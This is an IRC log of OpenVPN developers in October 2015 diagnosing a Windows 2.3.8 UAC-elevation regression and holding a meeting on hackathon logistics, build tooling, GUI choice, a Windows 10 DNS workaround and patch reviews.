[Ping timeout: 260 seconds] 14:33 -!- siruf_ [~siruf@unaffiliated/motley] has joined #openvpn-devel 14:34 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:34 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:35 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 240 seconds] 14:35 -!- ValdikSS [~valdikss@185.61.149.121] has quit [Ping timeout: 240 seconds] 14:35 -!- siruf_ is now known as siruf 15:53 <@vpnHelper> RSS Update - gitrepo: Check return value of ms_error_text() <https://github.com/OpenVPN/openvpn/commit/5584b738a332d0abc740d9303c275764c2ca13f1> || Replace strdup() calls for string_alloc() calls <https://github.com/OpenVPN/openvpn/commit/ddc7692d245017c71adc40ad5cc195617e39fce0> 18:50 -!- ValdikSS [~valdikss@185.61.149.121] has joined #openvpn-devel 21:50 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 21:50 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon Oct 05 2015 01:23 -!- lev__ [~lev@stipakov.fi] has joined #openvpn-devel 02:43 -!- reators [~holger@2001:1a80:2000:2:5049:f3cf:698d:bb82] has joined #openvpn-devel 04:21 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:21 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:32 <@mattock1> a user claims that there is bug/regression in routing in 2.3.8 compared to 2.3.6: http://forums.anandtech.com/showthread.php?t=2449976 04:33 <@mattock1> could some patch have caused this? 04:34 < mator> i don't get it 04:34 < mator> what config do they use 04:34 < mator> i have windows client / as well linux 04:34 < mator> can test, tell me what version 04:35 <@mattock1> no clue at this point, but they claim that using the same config 2.3.8 behaves differently than 2.3.6 04:35 <@mattock1> lemme see 04:35 <@mattock1> so windows installer 2.3.6-I603 works, https://swupdate.openvpn.org/community/releases/openvpn-install-2.3.8-I601-x86_64.exe does not 04:36 <@mattock1> they've only tested this against VPNBook and FreeVPN.net services 04:36 <@mattock1> that said, 2.3.6 and 2.3.8 should behave the same with the same config 04:36 -!- ValdikSS [~valdikss@185.61.149.121] has quit [Ping timeout: 244 seconds] 04:36 <@mattock1> unless there's some funky stuff at the server side 04:36 < mator> i have currently installed: 04:36 < mator> C:\Program Files\OpenVPN\bin>openvpn.exe --version 04:36 < mator> OpenVPN 2.3.6 x86_64-w64-mingw32 [SSL (OpenSSL)] [LZO] [PKCS11] [IPv6] built on Mar 19 2015 04:37 < mator> give 2.3.8 installer 04:37 < mator> https://swupdate.openvpn.org/community/releases/openvpn-install-2.3.8-I601-x86_64.exe ? 04:37 <@mattock1> yeah, as linked to above 04:39 < mator> reinstalled: 04:39 < mator> C:\Program Files\OpenVPN\bin>openvpn.exe --version 04:39 < mator> OpenVPN 2.3.8 x86_64-w64-mingw32 [SSL (OpenSSL)] [LZO] [PKCS11] [IPv6] built on Aug 4 2015 04:39 < mator> let me check 04:39 <@mattock1> ok 04:39 < mator> ok 04:39 < mator> here's the problem i think 04:41 < mator> old version (2.3.6) was asking for running as administrator account 04:41 < mator> brb 04:41 <@mattock1> openvpn-gui you mean? 04:41 < mator> and new version don't ask for windows administrator account 04:41 < mator> yes 04:42 <@mattock1> hmm, odd 04:42 < mator> so i believe it can't set default route 04:42 <@mattock1> because nothing has changed on that front 04:42 < mator> let me re-run it under admin account 04:42 < mator> yeah 04:42 < mator> that's 04:42 < mator> it 04:43 < mator> running openvpn-gui.exe as admin account show vpn address 04:43 <@mattock1> good 04:43 < mator> (vpn server address) 04:43 < mator> let me save the logs and dif 04:43 < mator> diff 04:44 < mator> http://fpaste.org/274806/38110144/ 04:44 < mator> ^^ non-admin (windows administrator privileges) run 04:45 < mator> running under windows administrator account -> http://fpaste.org/274807/14440381/ 04:45 < mator> Mon Oct 05 12:41:31 2015 ERROR: Windows route add command failed [adaptive]: returned error code 1 04:46 <@mattock1> yeah, access denied 04:46 <@mattock1> so, when running as non-admin, 2.3.6 pops up the UAC prompt, but 2.3.8 does not? 04:46 < mator> yeah 04:47 <@mattock1> that sounds like a real issue then 04:47 < mator> it should be explicitly run as admin (right clck -> run as admin user) 04:47 <@mattock1> yeah, indeed 04:47 <@mattock1> I'll verify this from the bug reporter and create a Trac issue for this 04:47 <@mattock1> mator: thanks a lot for testing! 04:48 < mator> that was quick =) 04:48 <@mattock1> btw. guys: meeting today? 04:48 < mator> nothing to thanks 04:48 <@mattock1> oh yes there is, because otherwise I would have had to test this myself, and I didn't have a rig setup 04:48 <@mattock1> so thanks :D 04:58 < mator> i remember here (or it was openvpn-devel mailing list?) was a discussion like 2-3 weeks ago about openvpn-gui is now not asking for admin (windows UAC) password 04:58 <@mattock1> oh, I managed to miss that one 04:59 <@mattock1> I just email the bug reporter and asked him to run through the same tests you did 05:01 <@mattock1> cron2, syzzer, etc.: so meeting today? 05:02 <@mattock1> oh, and I would strongly prefer "the usual time minus one hour" 05:02 <@mattock1> I can also ask James to join, so that we can prepare for hackthon with him 05:38 <@syzzer> mattock1: I'm available tonight, yes 05:41 <@mattock1> great! 05:41 <@mattock1> I'll email james, maybe he's still awake 05:41 <@mattock1> how about starting 1 hour early? doable? 05:41 <@mattock1> or maybe even 30 mins 05:42 <@syzzer> 1 hour is tricky for me, 30 mins should work 05:42 <@mattock1> ok, that would help me a bit, I need to do stuff later on 05:44 <@mattock1> mail sent to james 05:44 <@mattock1> so "normal time minus 30 mins" 05:55 <@mattock1> https://community.openvpn.net/openvpn/wiki/Topics-2015-10-05 05:55 <@vpnHelper> Title: Topics-2015-10-05 – OpenVPN Community (at community.openvpn.net) 05:55 <@mattock1> send the invitation also 06:00 <@cron2> whoa... short lunch, and lots of activity... :-) 06:02 <@cron2> mattock1: regarding 2.3.6->2.3.8, there should not be anything relevant on platforms but FreeBSD 06:03 <@cron2> there *is* tls-version... 06:05 <@mattock1> cron2: meeting 30 mins early today 06:05 <@cron2> regarding meeting - I'll try to be there at 19:30 local time, but this is right "kids to bed, sing, light off" time, so might be late 10-15 minutes 06:05 <@mattock1> ok, that's fine 06:05 <@mattock1> I need to split rather early, which I wanted to start a bit earlier 06:05 <@mattock1> james has been informed and he'll probably be there also 06:06 <@mattock1> lev is coming and I invited valdikss 06:06 <@mattock1> syzzer will be there also 06:21 < mator> where is openvpn-gui git or whatever VCS ? 06:29 <@mattock1> mator: http://sourceforge.net/projects/openvpn-gui/ 06:29 <@vpnHelper> Title: OpenVPN GUI download | SourceForge.net (at sourceforge.net) 06:30 <@mattock1> the official builds are based on the Git "master" sources, but bundled into tarballs (available here: http://build.openvpn.net/downloads/releases/) 06:30 <@vpnHelper> Title: Index of /downloads/releases/ (at build.openvpn.net) 06:33 < mator> thanks 12:11 <@ecrist> hey kids 12:11 <@ecrist> what question needs to be answered about easy-rsa 3? 12:12 <@ecrist> mattock1? 12:16 <@cron2> ecrist: stuff seems to be missing in the windows installer... 12:16 <@cron2> "lots of stuff" 12:16 <@ecrist> oh, yeah 12:16 <@ecrist> it's just the binaries, nothing too important. 12:16 <@ecrist> ;) 12:17 <+krzee> what sort of stuff was expected? 12:17 <@cron2> krzee: like, binaries :) 12:18 <@ecrist> yeah, that was an omission on my part 12:18 <@ecrist> I need to fix my packaging scripts 12:18 <+krzee> oh lol 12:18 <+krzee> i get it 12:18 <@ecrist> I'll push out an updated release tonight 12:21 <@cron2> cool 12:21 * cron2 goes "read to kids, and sing until they give up and want to sleep" :-) - will be late a few minutes to the meeting 12:33 <@mattock1> howdy 12:33 < lev__> good evening! 12:34 <@mattock1> good evening lev! 12:34 < lev__> it is -0.4°C outside here 12:35 <@mattock1> oh, that cold already, here it is 5 degrees 12:36 < lev__> mattock1: you live way too south 12:36 <@mattock1> yes :) 12:36 <@mattock1> james just informed me that he'll be on plane today, so he won't make it 12:36 <@mattock1> I assume he's flying to Europe already 12:36 <@syzzer> ah, probably yes 12:36 <@syzzer> makes sense for such a long flight 12:37 <@mattock1> yep, and he likes to travel, so he probably wants a few days off the hackthon 12:37 <@mattock1> ok, let's see 12:37 <@mattock1> https://community.openvpn.net/openvpn/wiki/Topics-2015-10-05 12:37 <@vpnHelper> Title: Topics-2015-10-05 – OpenVPN Community (at community.openvpn.net) 12:37 <@cron2> howdy! 12:37 <@mattock1> hi cron2! 12:37 <@mattock1> I have about 40 minutes of effective meeting time 12:38 * ecrist is here. 12:38 <@mattock1> hi ecrist! 12:38 <@cron2> ok, so get your T-Shirts organized! 12:38 <@syzzer> :') 12:38 <@mattock1> no way, too late already :P 12:38 * cron2 thinks mattock1 will need to sponsor one of the evening's drinks then...! 12:39 <@mattock1> what if we cover "my topics" first? topic #5 for example, and topic #1 12:39 <@ecrist> I'll only be here another 15 minutes or so. 12:39 <@cron2> anyway - mattock1: since you're time-constrained, 12:39 <@mattock1> cron2: we'll see 12:39 <@cron2> yah, that's what I wanted to suggest :) 12:39 <@cron2> go for it 12:39 <@cron2> ok, wht about #1? 12:39 <@mattock1> let's do #5 first, it's small 12:39 <@mattock1> cloudflare on community.openvpn.net 12:40 <@mattock1> so raidz turned cloudflare on there, because there was a DoS there a few days back 12:40 <@ecrist> yes. 12:40 <@mattock1> how opposed to CloudFlare + SSL are we? 12:40 <@mattock1> shall I ask him to turn cloudflare caching off? 12:40 <@cron2> how easy is it to turn it on and off? 12:40 <@mattock1> not sure, but it's probably quite doable 12:40 <@syzzer> I guess they have the pubkey now anyway? 12:40 <@syzzer> uh, private key ofc 12:41 <@ecrist> private key, yeah, I'm sure. 12:41 <@mattock1> yes, and I believe they've had the key from other servers 12:41 <@mattock1> because we've used CloudFlare + SSL elsewhere, and the cert is *.openvpn.net 12:41 <@syzzer> then I don't see much reason to turn it off 12:41 <@mattock1> ok 12:42 <@ecrist> I think we should leave it on. 12:42 * cron2 has no strong issues with that - as far as I know the SSL is "just because it is good style" not because there is anything particularily secret 12:42 <@mattock1> good, makes things simpler then, and even may protect us 12:42 <@ecrist> mattock1: you and I will need to figure out the SSH thing so we can still manage it OK 12:42 <@syzzer> (but I'm the crypto guy, who considers everything as lost when your key is no longer secret ;) ) 12:42 <@cron2> it seems to make IPv6 more robust than on EC2 12:42 <@mattock1> ecrist: can you access community via IPv6? 12:42 <@mattock1> syzzer: that game over for sure :P 12:42 <@ecrist> you mean http or ssh? 12:42 <@mattock1> ssh 12:43 <@mattock1> I mean ssh via ipv6 is doable 12:43 <@mattock1> I tested it 12:43 <@cron2> oh, v6 goes totally elsewhere 12:43 <@ecrist> oh, I'm fine with that 12:43 <@mattock1> ecirst: I'll turn it on in sshd_config then 12:43 <@mattock1> topic #1? 12:44 <@mattock1> "Plan Delft hackathon" 12:44 <@cron2> specifics? 12:44 * cron2 and simone will be there! (some time friday-after-noonish) 12:44 <@syzzer> yes. so for the bikes you'll have to decide if you want to travel from the station to the hotel by bike, or prefer bus/taxi at than point 12:44 <@cron2> KL1794 arrive 13:20 in AMS 12:45 <@cron2> oh, directions :) 12:45 <@mattock1> oh yes, my fiancee will also be there, at least for evening dinner(s) and such 12:46 <@cron2> as far as I understand, dazo's wife is also coming 12:46 <@mattock1> so many wives 12:46 <@ecrist> if I was going, I'd probably bring mine 12:46 <@mattock1> we may need a for-loop 12:46 <@cron2> syzzer: could you put instructions "how to get there?" on the wiki page? 12:46 <@mattock1> +1 12:46 <@syzzer> bike routes (~10 min): NL40 INGB 0662 6024 20 12:46 <@cron2> what is that? 12:46 <@syzzer> aargh, so that is the account number of the notary :') 12:46 <@cron2> haha :) 12:46 <@mattock1> good to know 12:46 <@syzzer> https://www.google.nl/maps/dir/Delft,+Van+Leeuwenhoeksingel+42A,+2611+AC+Delft/WestCord+Hotel+Delft,+Olof+Palmestraat,+Delft/@52.010419,4.3585806,15z/data=!3m2!4b1!5s0x47c5b5c0c25b354b:0x93ba42de4fd604fc!4m14!4m13!1m5!1m1!1s0x47c5b5c0c28ca02f:0xc098eaf8cccc90d7!2m2!1d4.3565297!2d52.007545!1m5!1m1!1s0x47c5b5f13b7c9c69:0x1d6d450585fd0a7c!2m2!1d4.3809835!2d52.010918!3e1 12:46 <@syzzer> there we go 12:47 <+krzee> lol @ forloop for wives 12:47 <+krzee> </lurk> 12:47 <@cron2> that is delft centraal? 12:47 <@syzzer> yes 12:47 <@mattock1> 2.7km is a walking distance for me :) 12:48 <@syzzer> that's fine too ofc. 12:48 <@cron2> cycling sounds like more fun 12:48 <@mattock1> so how will the bike thing work? 12:48 <@mattock1> where do we get them etc? 12:48 <@syzzer> by foot you should definitely take the north route suggestion from google 12:49 <@syzzer> well, I have a few spare bikes which I can place at arbitrary locations beforehand 12:49 <@syzzer> and we'll get some cheap rental bikes at the train station 12:49 <@syzzer> so who gets which bike depends on what you prefer :) 12:49 < lev__> syzzer: how difficult is to rent a bike there? 12:50 <@syzzer> for me easy, for non-dutchies quite difficult... 12:50 < lev__> :( 12:50 * cron2 needs clear instructions :) 12:50 <@cron2> lev__: I think syzzer intends to organize the bike-thingie 12:50 <@syzzer> yes, I'll make sure everythings clear before you arrive :) 12:50 <@mattock1> yeah, that would much appreciated 12:51 <@cron2> +1 12:51 <@mattock1> btw. are there many hoops we have to jump through to get to the Fox-IT office? 12:51 < lev__> I'll be at Delft on Thu evening 12:51 <@mattock1> like full-body search etc? 12:51 <@syzzer> just make sure to let me know at what time you'll be at Delft Central 12:51 <+krzee> body cavity search 12:51 <@syzzer> just bring your passport 12:51 <@cron2> syzzer: Fri ~14:00 I'd say (13:20 landing, from AMS) 12:51 <+krzee> cough twice please 12:51 <@cron2> reminder to self: need to find my train card... 12:52 <@mattock1> I will probably arrive around the same time as cron2 12:52 <@syzzer> mattock1: that would be great, because then we can arrange your bikes together 12:52 <@cron2> mattock1: which flight, to where? I halfway know my way around AMS and the (new) railway ticket system 12:52 <@cron2> so we could pick you up there 12:53 <@syzzer> ^^ and that is very useful (don't worry, I'll send instructions for others too) 12:53 <@mattock1> I'll actually arrive to Amsterdam rather late on Thu, so I (=we) decided to stay there for the first night, then head to Delft the next morning 12:54 <@cron2> syzzer: I was in AMS in spring, and found they had changed all of the system compared to my last visit ~3 years ago :-) - but the new system is quite nice 12:54 < lev__> I'll be at 17.45 at AMS (with mattock1 I presume) then going to Delft 12:54 <@mattock1> lev__: yeah, we have the same flight 12:55 <@cron2> mattock1: are you staying in central AMS, or close to the airport? (Which is not *that* interesting) 12:55 <@mattock1> Central Amsterdam 12:55 <@mattock1> definitely more fun there 12:55 <@cron2> well... in that case, we can just aim for synchronized arrival in Delft, but no good meeting at AMS airport 12:55 <@syzzer> lev__: ok, I'll be at the train station to get you a bike. Or do you prefer taking the bus/taxi? 12:56 <@mattock1> cron2: sounds good 12:56 -!- TimSmall [~tim@ipv6test5.plus.com] has joined #openvpn-devel 12:56 < lev__> syzzer: bike would be great 12:57 <@syzzer> lev__: ok, just give me a heads-up on mail/whatsapp/telegram/textsecure when you have an ETA for the train. The airport and all trains should have free wifi. 12:58 < lev__> syzzer: ack 12:58 <@mattock1> syzzer: ok 12:58 <@mattock1> what else there is to plan... 12:58 <@mattock1> bikes, check 12:59 <@mattock1> arrivals, check 12:59 <@cron2> ok, mattock+cron2+2 = 4 @ fri 14:00 12:59 <@syzzer> so, apart from transportation, we have now two volunteers for talks: me+joachim (colleague) on post-quantum crypto and cron2+plai on funky roaming stuff (iirc) 13:00 <@mattock1> cron2: might be mattock+cron2+1 if my fiancee gets too excited about AMS :) 13:00 <@mattock1> syzzer: sounds nice! 13:00 <@mattock1> especially the "funky roaming stuff" :D 13:00 <@cron2> tell her Delft is also very nice and "more wifes will be stranded there" 13:00 <@cron2> check: OV-chipkaart found! 13:00 <@mattock1> cron2: I've told that to her, explaining that a city does not have to be large to be interesting 13:00 <@syzzer> and cron2 volunteered to sponsor dinner on Sat. No volunteers for Fri yet. 13:00 <@mattock1> :P 13:01 <@mattock1> we can probably squeeze that out of OpenVPN Tech, but no promises yet 13:01 <@mattock1> Friday I mean 13:01 <@syzzer> ok :) 13:01 <@syzzer> I'll take care of reservations already, we'll need to eat anyway :) 13:02 <@cron2> +1 13:02 <@syzzer> so, any other loose ends? 13:03 <@cron2> you've put "put map and instructions in the wiki" on your TODO list? ;-) 13:03 <@syzzer> yes 13:03 <@cron2> then I think we're covered... any particular code words to mutter to the reception desk at FoxIT? 13:04 <@syzzer> "need coffee" 13:04 <@syzzer> any my name helps 13:04 <@syzzer> *and 13:04 <@cron2> "can't remember why I'm here, but maybe you have some coffee?" 13:04 <+krzee> front desk is going to crack up when the 5th person gets there and says "need coffee" 13:05 <@syzzer> krzee: yes, that will be fun :p 13:06 <@mattock1> syzzer: how do we pronounce your name correctly, so that the clerks at the front desk understand what we're trying to say? :P 13:06 <@syzzer> I should send you a recording to practice :') 13:06 <@mattock1> no strange sounds we need to know about in "Karger"? 13:06 <@mattock1> :P 13:07 <@mattock1> anyways, maybe the next topic then? I have to go to powersave mode soon 13:07 <@mattock1> I'll try to keep track of the meeting, but don't expect timely responses 13:07 <@syzzer> it's a German name, so actually many of you will pronounce it better than my colleagues do... 13:07 <+krzee> they'll probably know based on your wanting coffee 13:08 <@mattock1> krzee: yep 13:08 <@syzzer> but yes, next topic :) 13:08 <@mattock1> I suggest #4 "Windows environment" now that lev is here 13:09 < lev__> yeah I updated VS project files (added comp/compstub) and added workaround for __attribute__ 13:09 < lev__> cron2: haven't tried yet your patch 13:10 <@cron2> lev__: so what does "version 12" do? 13:10 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:10 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 13:10 < lev__> "tools version changed to 12" - otherwise VS complains about wrong tools version 13:11 < lev__> command line builder 13:11 * cron2 assumes lev__ knows what he's talking about :-) 13:11 < lev__> when you open project in IDE it offers to update project files automatically 13:11 <@cron2> but having feedback about 10085 on MSVC would definitely be a good thing 13:12 < lev__> with that patch and some changes to openvpn-build it compiles nicely in VS2013 13:13 < lev__> I'll send pull request later to openvpn-build, now it is kinda perl hack 13:15 < lev__> if someone has Win box with VS one could try that patch and I can provide another patch to openvpn-build 13:15 <@syzzer> I know plai used to have one 13:15 <@cron2> the patch so far looks pretty harmless, I was just confused about the tool version change 13:15 <@syzzer> I have never tried getting MSVC to work 13:16 <@cron2> my first patch set was built with msys/mingw on winxp, but cross-building is so much more convenient for a unix person like me 13:18 < lev__> VC also generates PDB which makes analyzing crash dumps easier 13:18 < lev__> not that it crashes often, thought 13:19 <@cron2> he, I was about to say that :-) "we don't do crashes, we do surprising error messages!" 13:19 <@syzzer> but I have to admit, that can be very useful 13:19 <@cron2> anyway, I'll ACK+merge that (since it won't affect other environments anyway, this is a fairly safe bet) 13:20 <@cron2> shall we return to the top, #2? 13:20 <@syzzer> lev__: since you've now automatically become the VS guru here, do you know if MSVC does C99 by now? 13:20 * syzzer would like to drop some of the fugly constructions we have to maintain because of MSVC 13:20 < lev__> syzzer: don't know 13:21 <@syzzer> ah, too bad 13:21 <@cron2> James might know 13:21 <@cron2> though I wonder how he's building these days... as he's using a Macbook :) 13:22 <@syzzer> we'll see coming weekend :) 13:22 < lev__> fugly constructions - do you mean defining variables at the top of function 13:22 <@syzzer> for example 13:23 <@syzzer> but I recently ran into more, but I can't recall now what it was... 13:23 <@cron2> just look through our commit logs :) 13:24 <@syzzer> is there more windows stuff to discuss? 13:24 <@cron2> iservice... 13:24 <@cron2> and trac#605 13:24 <@cron2> and gui 13:24 <@syzzer> ah, plenty! 13:25 <@syzzer> I think mattock1 has the gui think covered 13:25 <@cron2> nah, the question was "which gui do we want to ship in the future?" 13:26 <@cron2> valdikss brought up the point that there is a number of different GUIs for windows, open source, and more actively maintained, and supposedly "more featureful and stable" 13:27 <+krzee> would it be possible to let the user select at install time or do things need to be compiled together?? 13:27 <@cron2> krzee: there is madness 13:28 <@cron2> it's enough work to do the release building and testing for *one* combination of openvpn+gui and 143 different windows versions 13:28 <@syzzer> people will bug us about what we bundle, so I think we should pick one 13:28 <@cron2> yes :) 13:29 <@cron2> we use the one we use because d12fk was/is maintaining it, so communication was quick and direct 13:29 <@cron2> but not much has happened on the GUI side in 2 years, and if the others have really made such big improvements... 13:30 <@syzzer> still, probably none of them do iserver-like stuff? 13:30 <@cron2> (it's a bit of a pity that valdikss is not here, he wanted to come - and he can point us at stuff to test) 13:30 <@cron2> syzzer: I'd expect none of them to require manual activation of "run this as administrator"... 13:30 <@syzzer> maybe we can get valdikss to make some kind of shortlist, so we can take a stab at them 13:31 <@cron2> +1 13:31 <@cron2> next :) 13:31 <+krzee> do we have it so those with other guis can easily bundle in our latest official release with our signed tap drivers? 13:31 <+krzee> if so we can probably just link to their projects for those who want other guis 13:31 <@cron2> krzee: sure they can, the tap driver is available for download - but we don't really care about "what other people do". We need to decide what *we* do :-) 13:32 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 13:33 <+krzee> sounds like leaving it alone and linking to projects with better guis is an option then 13:33 <@cron2> sure 13:33 <@cron2> as is "do not ship any gui" 13:33 <@cron2> as is "ship something else" 13:33 <@cron2> as is "do not provide windows installers at all" 13:33 <@cron2> lots of options 13:34 <@cron2> this is not really the question, whether we have options :-) 13:34 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:34 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 13:34 <@syzzer> whee, back at 3 mattocks :) 13:34 <@cron2> but actually I think these topics need mattock's attention... "he's the one to take the blame, and do the work" :) 13:35 <@syzzer> anyway, I can't say anything without getting some pointers first 13:35 <@syzzer> so, postpone for now, see if mattock can get a shortlist? 13:35 <@cron2> yeah, this is why "20:28 <@cron2> next :)" 13:35 <+krzee> +1 13:36 <@syzzer> good. iservice? 13:36 <@cron2> syzzer: any news on that? 13:36 <@syzzer> I did not get around to testing further yet 13:36 <@mattock_> Sure, I can do a GUI review 13:37 <@syzzer> ah, nice 13:37 <@mattock_> d12fk has been quite absent lately, so a more actively maintained gui wiuld be nice 13:37 <@cron2> mattock_: get valdikss to do the shortlist for you - he brought up the topic, and since he's running a VPN service, he knows what the users are using 13:37 <@mattock_> cron2: sounds good 13:38 <@cron2> trac#605 - mattock_: any news from the OpenVPN tech side on WIn10 and DNS? 13:38 <@mattock_> and 2.4 "change and break everything" is the right place for the new gui 13:39 <@mattock_> no news 13:41 <@cron2> have you seen what valdikss did there? He found the "windows userspace firewall framework" and built a plugin for openvpn that will just kill DNS on all non-tap interfaces... I think it's twistedly genious, but I'm not sure we really want to integrate that, or hope for MS to fix their insanities 13:43 <@syzzer> oh, wow, I hadn't seen that yet. as long as it's a plugin, we might even want to ship it until MS fixes the real problem 13:45 <@cron2> yeah, but I can see he does not want to have it as a plugin, as you can't enabled that in "here's your config, it will work on every platform!" service contexts 13:45 <@cron2> (and --plugin is not pushable, for funny reasons) 13:45 <@syzzer> hmm, valid point 13:47 <@syzzer> it's not even that much code 13:47 <@syzzer> somehow I don't really expect MS to fix the problem 13:51 <@cron2> as the code is isolated, I can see us shoving it into win32.c and just have "the enable flag option" and the function call in "the rest of the code" 13:52 <@syzzer> yes, I think I could live with that 13:53 <@cron2> let's bounce it off James on the weekend (maybe he has other insights), and then give it a try... I have a working cross-build environment \o/ so I can test... don't have Win10, but maybe my Win7 VM auto-updates itself 13:54 <@syzzer> I do have a 8.1 VM, but I don't have the guts to upgrade to 10 yet 13:54 <@cron2> I'd just clone the VM, and let one of the clones update itself... 13:55 <@cron2> (as a side track: regarding #601 - checking one's own cert for expiry and warning would even be totally useful on the client - I forgot about all these user calls "my VPN is not working" that are due to "well, yes, your cert has expired...") 13:55 <@syzzer> yes, totally agree 13:56 <@syzzer> but I noticed there's too much stuff in the queue already, so I'm dropping new requests ;) 13:57 <+krzee> +1 for a message in the client when expired 13:57 <@syzzer> so I'm looking at the init patch now: 13:57 <@syzzer> http://thread.gmane.org/gmane.network.openvpn.devel/10061 13:57 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:58 <+krzee> i ran an expired one 2 days ago and in verb 5 all i saw was the wrwrwrwrwr changed to wwwww 13:58 <+krzee> i looked over certinfo and it was obvious to me, but only after i looked 13:59 <+krzee> (i didnt control the server) 14:00 <@syzzer> yes, I can see how that is not user-friendly at all 14:09 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 14:09 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:09 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 14:15 -!- ValdikSS [~valdikss@185.61.149.121] has joined #openvpn-devel 14:17 <@syzzer> cron2: still around? 14:17 <@cron2> yep 14:18 <@syzzer> as far as I can tell the init patch looks fine 14:18 <@syzzer> also passes basic manual tests 14:18 <@cron2> good :) 14:19 <@syzzer> through you'll probably need to get a bit creative with merging commit msgs, etc 14:20 <@cron2> which version did you test? 14:21 <@syzzer> oh wait - there's even more in this thread 14:21 <@syzzer> v2, I think 14:21 <@syzzer> this one: http://article.gmane.org/gmane.network.openvpn.devel/10063 14:21 <@vpnHelper> Title: Gmane -- Re: PATCH Privileges not being dropped if the first connection is not successful (at article.gmane.org) 14:23 <@syzzer> v3 looks good too 14:24 <@syzzer> can you try if the patches apply for you? I need to do quite some manual mangling... 14:24 <@cron2> if we agree on which one to ACK, I'd ask Lukas to rebase and git-send-email... 14:24 <@syzzer> but since I had exactly the same thing with jjk's patch, I'm now thinking it might be my porblem 14:25 <@syzzer> I prefer the last one 14:25 <@cron2> well, the last patch I reviewed from jjk was totally mangled, so that wasn't just you :-) 14:25 <@cron2> lemme see 14:26 <@cron2> v3 is http://article.gmane.org/gmane.network.openvpn.devel/10079 right? 14:26 <@vpnHelper> Title: Gmane -- Re: PATCH Privileges not being dropped if the first connection is not successful (at article.gmane.org) 14:26 <@syzzer> yes 14:26 <@cron2> Applying: Privileges not being dropped if the first connection is not successful 14:26 <@cron2> fatal: corrupt patch at line 11 14:27 <@syzzer> ah, 'good'. 14:28 <@cron2> nah 14:28 <@cron2> even saving the "inner" e-mail and then doing "git apply" will make it bomb, in different ways 14:28 <@syzzer> yes, the line wrapping is totally screwed up 14:28 <@cron2> git send-email for the win 14:28 <@syzzer> probably copy-pasted the patch in an email 14:29 < ValdikSS> Hi guys. Sorry I'm a bit sick and will go sleep now, but I'll be here and will read the history as soon as I wake up. 14:30 <@syzzer> good night and get well :) 14:30 <@cron2> ValdikSS: get well. We decided that we don't decide anything today, but would ask you to send a "shortlist" of interesting alternative GUIs so we can take a better look 14:41 <@syzzer> so, should I ask to git-send-email, or will you? 14:42 <@cron2> you :) 14:42 <@cron2> (since you reviewed) 14:46 <@syzzer> so, what's next? or do we call it a day? 14:48 <@cron2> nah :) 14:49 <@cron2> let's run quickly from the top 14:49 <@cron2> 1. is covered, 2. won't be solved in time :( , 3. Rafael Gava -> waiting for v2 patch, Tim Small -> waiting for Dazo (sorry, but let's hope for the weekend) 14:49 <@syzzer> you're suggesting t-shirts again? :p 14:50 <@syzzer> ok, next are your patches 14:50 <@cron2> on my two open patches, I want to suggest applying late-ack rules, given that the patch set has been tested with both cross-build systems *and* is windows-only *and* needs exposure to users... 14:50 <@syzzer> I did not look into get_default_gateway_ipv6() or the follow-up 14:50 < TimSmall> If the review is planned during your conference, any particular time I should be available for feedback? 14:51 <@cron2> the followup is "make configure.ac work for newer mingw", it is not pretty but works 14:51 <@cron2> TimSmall: Dazo said he'd work on it "Friday Morning" - dunno which particular time "Morning" is, but I'd assume "10am-ish" 14:52 <@syzzer> TimSmall: no, not really. We'll be having the meeting in UTC+2, probably about 9:30-18:00. other than that, I wouldn't nkow 14:52 <@syzzer> ah, cron2 knows more 14:52 <@cron2> syzzer: take a quick look, the code is actually quite trivial - no crypto, no buffers 14:52 <@cron2> syzzer: dazo said something along that lines while you were on vacation ("and then disappeared") 14:55 < TimSmall> I think it could stand some review tho' - the current code is a bit tortuous (hopefully my changes are a move in the right direction), so there maybe bugs lurking. Breaking password auth would obviously be bad (especially for some failure modes!). 14:55 < TimSmall> Fri 9th Oct? 14:57 <@syzzer> TimSmall: yes 14:58 <@syzzer> cron2: those commented-out #ifdefs won't break stuff? 14:59 < TimSmall> OK, I'll try and be mostly available. Here and/or on email I assume? Can do WebRTC / Google Plus / mumble or whatever too if that's useful... 15:00 <@cron2> syzzer: this is what I hoped lev__ would test 15:00 <@syzzer> TimSmall: here and email is fine :) 15:01 <@syzzer> cron2: ah, ok. other than that the patch 'looks good'. just staring at code though. 15:01 <@cron2> it's broken in mingw header files (this typedef is referenced but not declared anywhere) and it isn't harming cygwin either 15:01 <@syzzer> I think lazy-ACK applies 15:01 < TimSmall> syzzer: OK, thanks. 15:01 <@cron2> changing the WINNT level to VISTA blew things up in interesting ways... 15:02 <@cron2> good :-) - next: redirect-gateway ipv6: patch is not there yet, nothing to review (had do do tax paperwork instead today) 15:02 <@cron2> next: this Karger guy was planning some AEAD work... has anyone seen him recently? ;-) 15:03 <@syzzer> hehe, I haven't seen the guy working on AEAD :p 15:03 <@syzzer> I dug up and rebased the code recently, but did not find a few consecutive hours to dive in again yet 15:04 <@syzzer> my polarssl error log improvement patches are still on the list waiting for review though 15:04 <@cron2> argh 15:07 <@cron2> but with that, I think, we have done all we are going to achieve today... I'll get busy a few hours tomorrow 15:09 <@syzzer> yes, my brains are getting toasted anyway 15:09 <@syzzer> not a bad score :) 15:09 <@syzzer> good night! 15:10 <@cron2> good night! 15:16 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Quit: IRC for Sailfish 0.9] 20:05 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 20:22 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 20:22 